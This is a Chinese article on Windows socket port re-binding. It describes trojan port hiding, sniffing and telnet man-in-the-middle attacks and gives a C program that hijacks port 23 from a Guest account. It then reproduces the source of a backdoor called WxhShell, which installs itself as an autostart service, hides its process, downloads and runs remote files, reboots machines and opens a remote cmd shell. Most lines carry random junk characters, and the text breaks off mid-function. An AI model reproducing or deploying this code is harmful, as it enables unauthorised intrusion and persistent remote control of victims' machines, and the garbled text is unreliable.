在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
y2Q&s9$Do s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O@T9x$ [N-Di" saddr.sin_family = AF_INET;
e&|'I" @wGPqg saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SB;&GHq"n G, }Yl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}/0X'o \#2Z)Kz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
j"t(0m WrnrFz 这意味着什么?意味着可以进行如下的攻击:
^H p; .f. @N>\|!1CC 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4qb/daE:Z SXSgld2uS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
I13y6= d a=|K%ii+Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
j2t7'bO_ e@L=LW> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@+&LYy72 x77*c._3v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
!{+,B5 Hc t>L2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
sNbxI|B JinUV6cr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\0^Kram> $P > #include
fF!Yp iI" #include
h/QXPdV #include
qJf?o.Pv #include
poc`q5i+ DWORD WINAPI ClientThread(LPVOID lpParam);
-mbt4w int main()
w1FcB$ {
=}<IfNA WORD wVersionRequested;
|QF7
uV DWORD ret;
n QF(vTDN WSADATA wsaData;
%e8@*~h@ BOOL val;
]vB$~3|| SOCKADDR_IN saddr;
pE3?"YO SOCKADDR_IN scaddr;
SJlr53 int err;
rP'me2
B SOCKET s;
=ke2;}X SOCKET sc;
=1@u int caddsize;
2,y|EpG# HANDLE mt;
'NbHa! DWORD tid;
G~]Uk*M
q wVersionRequested = MAKEWORD( 2, 2 );
k`cfG\;r err = WSAStartup( wVersionRequested, &wsaData );
^L,K& Jd if ( err != 0 ) {
=bAx,,D# printf("error!WSAStartup failed!\n");
]"pVj6O return -1;
}g@v`5 }
vJLK,[ saddr.sin_family = AF_INET;
s2a{>II6 {Ea
b
j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
xf'V{9* bS{bkE> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"6("9" saddr.sin_port = htons(23);
;_XFo&@ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nd`1m[7MNu {
PioZIb/{ printf("error!socket failed!\n");
]HbY return -1;
av(6wht8 }
3RUy,s val = TRUE;
e_^26^{q //SO_REUSEADDR选项就是可以实现端口重绑定的
7kC^
30@T3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+Z,;,5'5G {
Hkg2P,2 printf("error!setsockopt failed!\n");
#QZe,"C9` return -1;
m%0p\Y-/ }
9v#CE! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
k<z)WNBf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b8H{8{wi| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5G}?fSQ> .S EdY: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V_)-#=J {
),_@WW;k ret=GetLastError();
o]odxr printf("error!bind failed!\n");
]|#+zx|/D return -1;
"BAK !N$9 }
g9OY<w5s] listen(s,2);
BqEI(c6 while(1)
r[e##M {
(xycJ`N caddsize = sizeof(scaddr);
?C]vS_jAh //接受连接请求
6dHOf,zjm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pG_;$8Hc if(sc!=INVALID_SOCKET)
k``_EiV4t {
yER(6V'\iQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>k|5Okq g if(mt==NULL)
]43/`FX {
L]7=?vN=8 printf("Thread Creat Failed!\n");
/>C^WQI^ break;
+8T?{K }
rDtY[ }
K&u_R
CloseHandle(mt);
1pVS&0W }
.C%<P"=J4h closesocket(s);
*9
{PEx WSACleanup();
b\f
O8{k return 0;
#x@$lc=k3 }
Nd4f^Y DWORD WINAPI ClientThread(LPVOID lpParam)
]dVGUG8 {
4>YR{ SOCKET ss = (SOCKET)lpParam;
]U?^hZ_ SOCKET sc;
<(#(hDwy unsigned char buf[4096];
39c2pV[ SOCKADDR_IN saddr;
*YI98 long num;
yHYsZ,GE DWORD val;
. P viA DWORD ret;
I]|Pq //如果是隐藏端口应用的话,可以在此处加一些判断
oE@a'*.\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;T\%|O=Ke saddr.sin_family = AF_INET;
hXw]K" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x%=si[P saddr.sin_port = htons(23);
q$L%36u~/ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'$Dn {
NCXRevE printf("error!socket failed!\n");
P.se'z)E return -1;
W<{h,j8 }
|o"?gB}Dh val = 100;
sQ3[< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QP==?g3 {
JBj]najN ret = GetLastError();
_{ue8kGt return -1;
Gf6p'(\zun }
I@\lN&HC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B^=-Z8 {
pp?D7S ret = GetLastError();
.N;=\C* return -1;
;._
l0Jw }
eSn+ B;
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Vsr.=Nd= {
1NFsb-<u printf("error!socket connect failed!\n");
J6"9v;V closesocket(sc);
-]Bq|qTH[( closesocket(ss);
> tS'Q`R return -1;
*][`@@-> }
J`Q>3]wL while(1)
$GV7o{"& {
'ycJMYP8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6 3iUi9P //如果是嗅探内容的话,可以再此处进行内容分析和记录
MR7}s4o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Y>z>11yEB0 num = recv(ss,buf,4096,0);
W.jGGt\<\ if(num>0)
o)|flI'vT send(sc,buf,num,0);
')Zvp7>$ else if(num==0)
";lVa'HMZ break;
<\y@*fg+ num = recv(sc,buf,4096,0);
,]C;sN%~} if(num>0)
nbp=PzZy send(ss,buf,num,0);
"V7K SO else if(num==0)
x^qVw5{n break;
;<Sd~M4f }
y8Ir@qp5 closesocket(ss);
>h1}~jW+ closesocket(sc);
hF?1y `20 return 0 ;
1#g2A0U, }
J( TkXNm *-WpZGh lgAoJ[ ==========================================================
g9pZ\$J& ~\SGb_2 下边附上一个代码,,WXhSHELL
OnziG+ak $p8xEcQdU# ==========================================================
iozt&~o X #dmo/L8 #include "stdafx.h"
phkwN}6 ^#-l
q) #include <stdio.h>
[^n.Pn s #include <string.h>
D8Ic?:iX[ #include <windows.h>
dbLZc$vPj #include <winsock2.h>
OO\+J #include <winsvc.h>
pQ" >UL* #include <urlmon.h>
2szPAuN+ lBE=(A`
#pragma comment (lib, "Ws2_32.lib")
7Die
FZ? #pragma comment (lib, "urlmon.lib")
eIF5ZPSZi ?,Xw[pR #define MAX_USER 100 // 最大客户端连接数
%`r$g[<G #define BUF_SOCK 200 // sock buffer
5pG}Yk_(x #define KEY_BUFF 255 // 输入 buffer
tFn)aa~L n8 0?N}
#define REBOOT 0 // 重启
JG.y,<xW #define SHUTDOWN 1 // 关机
)m+W
j +^ac'Y)A #define DEF_PORT 5000 // 监听端口
P:S .~Jq A 'be8 #define REG_LEN 16 // 注册表键长度
@s&71a #define SVC_LEN 80 // NT服务名长度
Q} JOU BVQqY$> // 从dll定义API
m 0C@G5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
X05/uX{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/62!cp/F/D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
P5V}#;v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6wRd<]C K3&qq[8.e // wxhshell配置信息
UgRiIQMq. struct WSCFG {
0o4XUW int ws_port; // 监听端口
VCfl`Aq'l char ws_passstr[REG_LEN]; // 口令
s)t@ol int ws_autoins; // 安装标记, 1=yes 0=no
M?49TOQA char ws_regname[REG_LEN]; // 注册表键名
G>=*yqo
char ws_svcname[REG_LEN]; // 服务名
octL"t8w char ws_svcdisp[SVC_LEN]; // 服务显示名
A2FYBM`Q&D char ws_svcdesc[SVC_LEN]; // 服务描述信息
qwcD`HV, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\K{
z int ws_downexe; // 下载执行标记, 1=yes 0=no
]c*4J\s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
qZh/IW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=*.~BG K3m/(jdO };
-ad{tJV| :kV#y // default Wxhshell configuration
}#+^{P3 ; struct WSCFG wscfg={DEF_PORT,
gg/-k;@ Rf "xuhuanlingzhe",
iVr J Q 1,
^CH=O|8j "Wxhshell",
8d{0rqwNE "Wxhshell",
L{\8!51L "WxhShell Service",
Hio0HL- "Wrsky Windows CmdShell Service",
S+6.ZZ9c "Please Input Your Password: ",
M0"_^? 1,
y<3-?}.aZ "
http://www.wrsky.com/wxhshell.exe",
#z%fx
"Wxhshell.exe"
[DOckf oZx };
'oVx#w^mf n&/
` // 消息定义模块
DfD&)tsMQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N>1em!AS char *msg_ws_prompt="\n\r? for help\n\r#>";
Oo~;
L, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W*:.Gxv] char *msg_ws_ext="\n\rExit.";
6_;icpN] char *msg_ws_end="\n\rQuit.";
MchA{p&Ol char *msg_ws_boot="\n\rReboot...";
{Mk6T1Bkq char *msg_ws_poff="\n\rShutdown...";
`(;m?<% char *msg_ws_down="\n\rSave to ";
@1j
Rv>-4@fMJ char *msg_ws_err="\n\rErr!";
Q{>k1$fkV char *msg_ws_ok="\n\rOK!";
K5 z<3+ R29~~IOqO char ExeFile[MAX_PATH];
Dy&i&5E.-l int nUser = 0;
= svN#q5s HANDLE handles[MAX_USER];
~8+ Zs int OsIsNt;
@
q3k%$4 o/)h"i0P SERVICE_STATUS serviceStatus;
JR|ck=tq SERVICE_STATUS_HANDLE hServiceStatusHandle;
1&OW4_ HJH{nz'Lw // 函数声明
RB\uK
1+ int Install(void);
Jpq~ int Uninstall(void);
w2c?.x int DownloadFile(char *sURL, SOCKET wsh);
h#*dI`>l- int Boot(int flag);
S hWJ72c void HideProc(void);
29b9`NXt int GetOsVer(void);
e9tjw[+A int Wxhshell(SOCKET wsl);
WU`
rh^ void TalkWithClient(void *cs);
cjY-y-vO int CmdShell(SOCKET sock);
6MW{,N int StartFromService(void);
Izc\V9+ int StartWxhshell(LPSTR lpCmdLine);
%1L,Y kD%( _K5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}8z?t:|S VOID WINAPI NTServiceHandler( DWORD fdwControl );
]W!0$'o !qg`/y9 // 数据结构和表定义
Ml5w01O SERVICE_TABLE_ENTRY DispatchTable[] =
>=>2m2z= {
& .j&0WE {wscfg.ws_svcname, NTServiceMain},
^ytrK
Q {NULL, NULL}
"sCRdx]_ };
+\A,&;!SR 3hH<T.@) // 自我安装
=nS3p6>rZ int Install(void)
#!#
l45p6 {
gf@:R'$:+ char svExeFile[MAX_PATH];
N+xP26D8 HKEY key;
WH} y"W strcpy(svExeFile,ExeFile);
{P./==^0 aXYY:; // 如果是win9x系统,修改注册表设为自启动
6gE7e|+ if(!OsIsNt) {
Vb_4f" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,4$>,@WW~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0OE:[pR RegCloseKey(key);
kzLsoZ!I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X_h}J=33Q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cT,sh~-x, RegCloseKey(key);
m(!FHPvN return 0;
Fxz"DZY6 }
xp{tw$ }
[q-h|m }
eym4=k ~ else {
"8MF_Gu): 7$=InK // 如果是NT以上系统,安装为系统服务
KpGhQdR# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"+s++@
z if (schSCManager!=0)
=,8]nwgo {
HV|,}Wks6s SC_HANDLE schService = CreateService
r19
pZAc (
Otuf]B^s schSCManager,
S\=Nn7" wscfg.ws_svcname,
)t#W{Gzfmh wscfg.ws_svcdisp,
TJRCH>E[a SERVICE_ALL_ACCESS,
^h6tr8yn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R 9\*#c SERVICE_AUTO_START,
@9s$4DS SERVICE_ERROR_NORMAL,
,qxu|9L svExeFile,
bn5 Su=] NULL,
25?6gu*Z NULL,
~>|ziHx NULL,
.q>iXE_c NULL,
Lf&kv7Wj NULL
$&td=OK );
e"<OELA if (schService!=0)
L0o\J` : {
,zjv7$L CloseServiceHandle(schService);
":ue-=&M CloseServiceHandle(schSCManager);
MTn{d strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(<9u-HF# strcat(svExeFile,wscfg.ws_svcname);
8A#;WG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4hj|cCrO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=^?/+p8k RegCloseKey(key);
4pvMd return 0;
hgq;`_;1, }
0=YI@@n) }
qE"OB CloseServiceHandle(schSCManager);
fJg+ Ryo }
H:|uw }
9'B `]/L oEv'dQ9 return 1;
Dd|VMW= }
2^7`mES AK4t\D)K1 // 自我卸载
guR/\z$D@C int Uninstall(void)
W=?<<dVYD {
?J0y| HKEY key;
Bzf^ivT3L 2?Vd 5xkt if(!OsIsNt) {
$&c*'3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_[BP0\dPW RegDeleteValue(key,wscfg.ws_regname);
tw@X>
G1z RegCloseKey(key);
@0''k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jP.dDYc RegDeleteValue(key,wscfg.ws_regname);
^\m![T\bX RegCloseKey(key);
TWTb?HP return 0;
?@x/E& }
0y\Z9+G: }
i%?* @uj }
*;FdD{+ else {
}GM'.yutX SpBy3wd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~xTt204S if (schSCManager!=0)
-9?]IIVb {
u ga_T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6 u6x if (schService!=0)
A#,ZUOPGH {
fz_r7? if(DeleteService(schService)!=0) {
%]i15;{X CloseServiceHandle(schService);
h";L CloseServiceHandle(schSCManager);
53h0UL return 0;
DlJo^|5 }
*T1_;4i CloseServiceHandle(schService);
{!`6zBsP }
#vlgwA CloseServiceHandle(schSCManager);
lOp`m8_= }
8@R|Km5h }
Fr-SvsNFB 7tp36 TE return 1;
3so%gvY.' }
P+}h$_x * 4
n) // 从指定url下载文件
>\8+:oS^ int DownloadFile(char *sURL, SOCKET wsh)
DmcZta8n] {
=_^X3z0 HRESULT hr;
:4|4 =mkr char seps[]= "/";
!)$Zp\Sg char *token;
~TtiO#,t char *file;
+ZV5o&V> char myURL[MAX_PATH];
/9X7A;O char myFILE[MAX_PATH];
Hn:Crl y# b.938#3, strcpy(myURL,sURL);
<UCl@5g& token=strtok(myURL,seps);
/wG2vE8e while(token!=NULL)
O6Y0XL {
j<$2hiI/?& file=token;
l,).p token=strtok(NULL,seps);
G~m<; }
2<3K3uz !R$`+wZ62 GetCurrentDirectory(MAX_PATH,myFILE);
F'Z,]b'st3 strcat(myFILE, "\\");
AXB7oV,xt strcat(myFILE, file);
30{ gI0jk send(wsh,myFILE,strlen(myFILE),0);
?7A>+EY send(wsh,"...",3,0);
a q-~B~c`g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
GvAb`c= if(hr==S_OK)
tJmTBsn return 0;
2 E=L8< else
;VK.2^jW! return 1;
~J]qP #C i/.6>4tE: }
lquLT6] VU#7%ufu& // 系统电源模块
jiGTA:v int Boot(int flag)
#&4=VGx{
# {
TA\vZGJ(' HANDLE hToken;
Gm`8q}<I TOKEN_PRIVILEGES tkp;
.)3 <Q}> k3|Z7eW}[ if(OsIsNt) {
^z\cyT%7t OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Nboaf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
OTv) tkp.PrivilegeCount = 1;
\7_y%HR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@VI@fN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@6]JIJE if(flag==REBOOT) {
SrJE_~i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QV8g#&z return 0;
-g<oS9 }
n+p }\msH else {
<ZW-QN4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XP}<N&j return 0;
~M$Wd2Th }
G/W>S,( }
atzX;@"K else {
>GuM]qn if(flag==REBOOT) {
dWW.Y*339 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$Kd>:f=A return 0;
|[lKY+26:{ }
AFn7uW!9Gw else {
HKe K<V if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
BLFdHB.$T return 0;
8,|k ao: }
I 6O }
bMBLXk T4F/w|Q return 1;
SfR%s8c` }
_dU\JD Xc.`-J~Il // win9x进程隐藏模块
#z42C?V void HideProc(void)
cb bFw {
s[ N@0 _Ey5n!0: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,z6~?6m if ( hKernel != NULL )
0`H#
'/ {
M\=2uKG# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,u m|1dh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
DNi+"[~&P FreeLibrary(hKernel);
kT=8e;K
}
@nf`Gw ; [ hsds\ return;
8k79&| }
P~dcW =u;MCQ[ // 获取操作系统版本
z%kULTL int GetOsVer(void)
!9x} {
R-Sym8c OSVERSIONINFO winfo;
-qoH,4w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8Y?;x} GetVersionEx(&winfo);
q(}bfIf if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L(\cH b9` return 1;
.^.z2
e else
ce(#2o&` return 0;
Ca\6vR }
,?3G;- z{>Rc"%\ // 客户端句柄模块
GthYzd:'hJ int Wxhshell(SOCKET wsl)
8>V5dEbx' {
Ts9uL5i SOCKET wsh;
I:.s_8mH} struct sockaddr_in client;
M3AXe]<eC1 DWORD myID;
Pc9H0\+Xk zreU')a while(nUser<MAX_USER)
iQ{VY
^
0 {
PW4q~rc=: int nSize=sizeof(client);
0$njMnB2l wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#;<Y[hR{P if(wsh==INVALID_SOCKET) return 1;
@|r{;' 9FX-1,Jx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~s{$WL& if(handles[nUser]==0)
D,6:EV"sa closesocket(wsh);
'PHl$f*k else
+h$
9\ nUser++;
cnLro }
3CJwj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
KTv$ -YE^zzh return 0;
d'2A,B~_* }
~5g ~;f[4 `{Ul! // 关闭 socket
1Z;iV<d void CloseIt(SOCKET wsh)
c9Yrw^ {
wS*E(IAl closesocket(wsh);
Q.[0ct nUser--;
P* o9a ExitThread(0);
N;gfbh] }
;\]@K6m/Ap *`U~?q} // 客户端请求句柄
0aAoV0fMDz void TalkWithClient(void *cs)
2?x4vI
np; {
H#&00 Q[ Lr<cMK< SOCKET wsh=(SOCKET)cs;
U~8g_* char pwd[SVC_LEN];
`2snz1>!j char cmd[KEY_BUFF];
u&NV,6Fj2[ char chr[1];
y)pk6d int i,j;
}M+7T\J! M?qy(zb while (nUser < MAX_USER) {
$u.z*b_yy D]}G.v1 if(wscfg.ws_passstr) {
{8OCXus3m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M}Sv8D]I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"oD[v //ZeroMemory(pwd,KEY_BUFF);
36NpfTW i=0;
v:U-6W_)| while(i<SVC_LEN) {
4Up/p&1@ MJvp6n // 设置超时
4z? l fd_set FdRead;
;aBG,dr}i struct timeval TimeOut;
`9 L>* FD_ZERO(&FdRead);
PM+[,H FD_SET(wsh,&FdRead);
=}*0-\QG TimeOut.tv_sec=8;
<qSC#[xu TimeOut.tv_usec=0;
Dj +f]~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3 Y &d= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1qch]1
^G 0mnw{fE8_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]!
dTG pwd
=chr[0]; PdCEUh\>y
if(chr[0]==0xd || chr[0]==0xa) { 9my^Y9B
pwd=0; s CRdtP
break; OH88n69
} Z7#+pPt!
i++; 99S^f:t
} w &(ag$p'
,^:.dFH6
// 如果是非法用户,关闭 socket [~^0gAlQC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <!+Az,-
} T|p"0b A
yZRzIb_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N$DkX)Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VnzZTGs
^_6|X]tz1T
while(1) { /mMV{[
Q@niNDaW2
ZeroMemory(cmd,KEY_BUFF); zTp"AuNHN
w@pPcZ>z/
// 自动支持客户端 telnet标准 =WLY 6)]A
j=0; SIllU
while(j<KEY_BUFF) { yr6V3],Tp
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "zc l|@
cmd[j]=chr[0]; nEfK53i_
if(chr[0]==0xa || chr[0]==0xd) { O=lzT~G|4
cmd[j]=0; [ }:$yg
break; nu^436MSOa
} Z.WW(C.
j++; iwq!w6+
} I*&8^r:A
"8/,Y"W"
// 下载文件 @,}UWU
if(strstr(cmd,"http://")) { DqPw#<"H
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !<oe=)Iz|
if(DownloadFile(cmd,wsh)) TseGXYH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-T]3!
else z{6Z
11|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l.]xB,k
} ~[
F`"
else { [m -bV$-d
@L`jk+Y0vF
switch(cmd[0]) { >sF)BoLc
cS$_\65
// 帮助 7nSxi+6e
case '?': { fOHxtHM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5N]"~w*
break; jylD6IT
} [?gP; ,
// 安装 QnDg6m)+
case 'i': { i@q&5;%%
if(Install()) )_:NLo:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =%7-ZH9
else _M1 %Z~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "&] -2(
break; NRuNKl.v
} TrNF=x>
// 卸载 0"R|..l/
case 'r': { #G3<7PK
if(Uninstall()) |:o4w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ni<(K
0~
else %xW"!WbJ|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YR70BOxK
break; >_TZ'FT
} Om<a<q
// 显示 wxhshell 所在路径 [;N'=]`
case 'p': { "7
yD0T)2
char svExeFile[MAX_PATH]; yu|>t4#GT
strcpy(svExeFile,"\n\r"); >l m&iF3y
strcat(svExeFile,ExeFile); dQvcXl]
send(wsh,svExeFile,strlen(svExeFile),0); QPx^_jA
break; :3PH8TL
} +t.b` U`-
// 重启 ?M2J wAK5
case 'b': { RFGffA&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :m;p:l|W
if(Boot(REBOOT)) 54,er$$V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pCDmXB
else { @W<m4fi
closesocket(wsh); ^OdP4m(
>>
ExitThread(0); }vuARZ>
} K"6vXv4QO
break; iscz}E,Y
} #Z #-Ht
// 关机 X2_=agEP
case 'd': { }ZI7J
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V9vTsmo(
if(Boot(SHUTDOWN)) Iv *<La
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \['Cj*e k
else { /FII07V
closesocket(wsh); :s,Z<^5a)g
ExitThread(0); )BE1Q*=
n
} '"^'MXa
break; (:_$5&i7
} kM6
Qp
// 获取shell NbobliC=
case 's': { VVZ'i.*_3?
CmdShell(wsh); hgmCRC
closesocket(wsh); W^Yxny
ExitThread(0); (Z*!#}z`
break; ~[ jQ!tz
} |pK!S
// 退出 I]575\bA
case 'x': { ' QG?nu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7pd$\$
CloseIt(wsh); txpgO1
break; K'bP@y_cq
} Z;i:](
// 离开 Dv"9qk
case 'q': { sK{e*[I>W
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9x8fhAy}4
closesocket(wsh); 5R-6ji
WSACleanup(); sB</DS
exit(1); XSDpRo
break; Y73C5.dNcE
} :h$$J
lP
} 0f/<7R
} s1rCpzK0
pRqx`5 }
// 提示信息 ixFi{_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .8R@2c`}Cs
} m*pJBZxd
} w(/S?d
AdEMa}u6
return;
2iOV/=+
} Z r8*et
3mgD(,(^
// shell模块句柄 >%G1"d?j
int CmdShell(SOCKET sock) H)?z
#x
{ bsX[UF
STARTUPINFO si; x4 yR8n(
ZeroMemory(&si,sizeof(si)); pb}*\/s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \bcLiKE{
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KwS@D9bok
PROCESS_INFORMATION ProcessInfo; tc! #wd+u
char cmdline[]="cmd"; uYN`:b8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WLT"ji0w2
return 0; TxD#9]Q`
} 2 nCA<&
$]d^-{|
// 自身启动模式 E
fDH6
int StartFromService(void) 6N4~~O
{ \85i+q:LuA
typedef struct gJXaPJA{
{ }OUt sh ]y
DWORD ExitStatus; AKC`TA*E
DWORD PebBaseAddress; \~W'v3:W
DWORD AffinityMask; 8=l%5r^cq
DWORD BasePriority; cr3^6HB
ULONG UniqueProcessId; ,prf;|e?
ULONG InheritedFromUniqueProcessId; XTyxr
} PROCESS_BASIC_INFORMATION; t# i#(H
b;n[mk
